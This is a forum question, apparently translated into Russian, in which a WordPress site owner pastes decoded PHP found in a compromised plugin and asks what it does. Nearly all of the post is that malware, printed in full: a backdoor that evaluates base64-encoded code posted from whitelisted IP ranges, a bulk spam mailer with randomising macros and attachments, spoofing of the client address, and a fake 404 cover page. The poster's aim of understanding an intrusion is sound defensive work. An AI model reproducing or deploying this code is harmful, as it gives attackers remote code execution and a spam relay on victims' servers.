WordPress — нужна помощь, чтобы понять введенный код

Я обнаружил множество запросов к подозрительному файлу в плагине на моем сайте WordPress. Там я нашел длинную строку, функцию отображения для каждого символа, используемого в строке, и исключение из декодированной строки. Это код, который выводит декодер, любая помощь в понимании того, что он делает, была бы великолепна!

<?php
if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
eval(base64_decode($_POST["code"]));
exit();
}

if (isset($_POST["type"]) && $_POST["type"]=="1")
{
type1_send();
exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2")
{

}
elseif (isset($_POST["type"]))
{
echo $_POST["type"];
exit();
}

error_404();

function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");

foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}

return FALSE;
}

function type1_send()
{
if(!isset($_POST["emails"])
OR !isset($_POST["themes"])
OR !isset($_POST["messages"])
OR !isset($_POST["froms"])
OR !isset($_POST["mailers"])
)
{
exit();
}

if(get_magic_quotes_gpc())
{
foreach($_POST as $key => $post)
{
$_POST[$key] = stripcslashes($post);
}
}

$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$messages = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$mailers = @unserialize(base64_decode($_POST["mailers"]));
$aliases = @unserialize(base64_decode($_POST["aliases"]));
$passes = @unserialize(base64_decode($_POST["passes"]));

if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}

if(isset($_FILES))
{
foreach($_FILES as $key => $file)
{
$filename = alter_macros($aliases[$key]);
$filename = num_macros($filename);
$filename = text_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename;
}
}

if(empty($emails))
{
exit();
}

foreach ($emails as $fteil => $email)
{
$theme = $themes[array_rand($themes)];
$theme = alter_macros($theme["theme"]);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);

$message = $messages[array_rand($messages)];
$message = alter_macros($message["message"]);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
//$message = pass_macros($message, $passes);
$message = fteil_macros($message, $fteil);

$from = $froms[array_rand($froms)];
$from = alter_macros($from["from"]);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);

if (strstr($from, "[CUSTOM]") == FALSE)
{
$from = from_host($from);
}
else
{
$from = str_replace("[CUSTOM]", "", $from);
}

$mailer = $mailers[array_rand($mailers)];

send_mail($from, $email, $theme, $message, $mailer);
}
}

function send_mail($from, $to, $subj, $text, $mailer)
{
$head = "";

$un = strtoupper(uniqid(time()));

$head .= "From: $from\n";
$head .= "X-Mailer: $mailer\n";
$head .= "Reply-To: $from\n";

$head .= "Mime-Version: 1.0\n";
$head .= "Content-Type: multipart/alternative;";
$head .= "boundary=\"----------".$un."\"\n\n";

$plain = strip_tags($text);
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";

$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
$zag .= "------------".$un."--";

if(count($_FILES) > 0)
{
foreach($_FILES as $file)
{
if(file_exists($file["tmp_name"]))
{
$f = fopen($file["tmp_name"], "rb");
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".$file["name"]."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".$file["name"]."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
fclose($f);
}
}
}

if(@mail($to, $subj, $zag, $head))
{
if(!empty($_POST['verbose']))
echo "SENDED";
}
else
{
if(!empty($_POST['verbose']))
echo "FAIL";
}
}

function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);

for($i = 0; $i < count($matches[1]); $i++)
{

$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}

function text_macros($content)
{
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);

$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}

preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$count = $matches[1][$i];

$word  = generate_word($count);

$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}return $content;
}

function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;

$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}

function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}

function generate_word($length)
{
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0; $i < $length; $i++)
{
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}

function pass_macros($content, $passes)
{
$pass = array_pop($passes);

return str_replace("[PASS]", $pass, $content);
}

function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}

function is_ip($str) {
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}

function from_host($content)
{

$host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);

if (is_ip($host))
{
return $content;
}

$tokens = explode("@", $content);

$content = $tokens[0] . "@" . $host . ">";

return $content;
}

function error_404()
{
header("HTTP/1.1 404 Not Found");

$uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );

$content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
$content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );

exit( $content );
}function custom_http_request1($params)
{
if( ! is_array($params) )
{
$params = array(
'url' => $params,
'method' => 'GET'
);
}

if( $params['url']=='' ) return FALSE;

if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
$params['method'] = strtoupper($params['method']);
if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;

/* Приводим ссылку в правильный вид */
$url = parse_url($params['url']);
if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
if( ! isset($url['path']) ) $url['path'] = '/';
if( ! isset($url['host']) && isset($url['path']) )
{
if( strpos($url['path'], '/') )
{
$url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
$url['path'] = substr($url['path'], strpos($url['path'], '/'));
}
else
{
$url['host'] = $url['path'];
$url['path'] = '/';
}
}
$url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";

$port = isset($params['port']) ? $params['port']
: ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );

$timeout = isset($params['timeout']) ? $params['timeout'] : 30;
if( ! isset($params['return']) ) $params['return'] = 'content';

$scheme = $url['scheme']=='https' ? 'ssl://':'';
$fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
if( $fp )
{
/* Mozilla */
if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";

$request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
$request .= "Host: {$url['host']}\r\n";
$request .= "User-Agent: {$params['User-Agent']}"."\r\n";
if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
if( isset($params['cookie']) )
{
$cookie = "";
if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
else $cookie = $params['cookie'];
if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
}
$request .= "Connection: close\r\n";
if( $params['method']=='POST' )
{
if( isset($params['data']) && is_array($params['data']) )
{
foreach($params['data'] AS $k => $v)
$data .= urlencode($k).'='.urlencode($v).'&';
if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
}
$data .= "\r\n\r\n";

$request .= "Content-type: application/x-www-form-urlencoded\r\n";
$request .= "Content-length: ".strlen($data)."\r\n";
}
$request .= "\r\n";

if( $params['method'] == 'POST' ) $request .= $data;

@fwrite ($fp,$request); /* Send request */

$res = ""; $headers = ""; $h_detected = false;
while( !@feof($fp) )
{
$res .= @fread($fp, 1024); /* читаем контент */

/* Проверка наличия загловков в контенте */
if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
{
/* заголовки уже считаны - корректируем контент */
$h_detected = true;

$headers = substr($res, 0, strpos($res, "\r\n\r\n"));
$res = substr($res, strpos($res, "\r\n\r\n")+4);

/* Headers to Array */
if( $params['return']=='headers' || $params['return']=='array'
|| (isset($params['redirect']) && $params['redirect']==true) )
{
$h = explode("\r\n", $headers);
$headers = array();
foreach( $h as $k=>$v )
{
if( strpos($v, ':') )
{
$k = substr($v, 0, strpos($v, ':'));
$v = trim(substr($v, strpos($v, ':')+1));
}
$headers[strtoupper($k)] = $v;
}
}
if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
{
$params['url'] = $headers['LOCATION'];
if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
if( $params['redirect-count']<10 )
{
$params['redirect-count']++;
$func = __FUNCTION__;
return @is_object($this) ? $this->$func($params) : $func($params);
}
}
if( $params['return']=='headers' ) return $headers;
}
}

@fclose($fp);
}
else return FALSE;/* $errstr.$errno; */

if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);

return $res;
}

Редактировать: По-видимому, я делаю что-то не так с моим вопросом (2 мгновенных снижения). Если вы могли бы сказать мне, что я делаю неправильно, я постараюсь исправить это / удалить мой вопрос.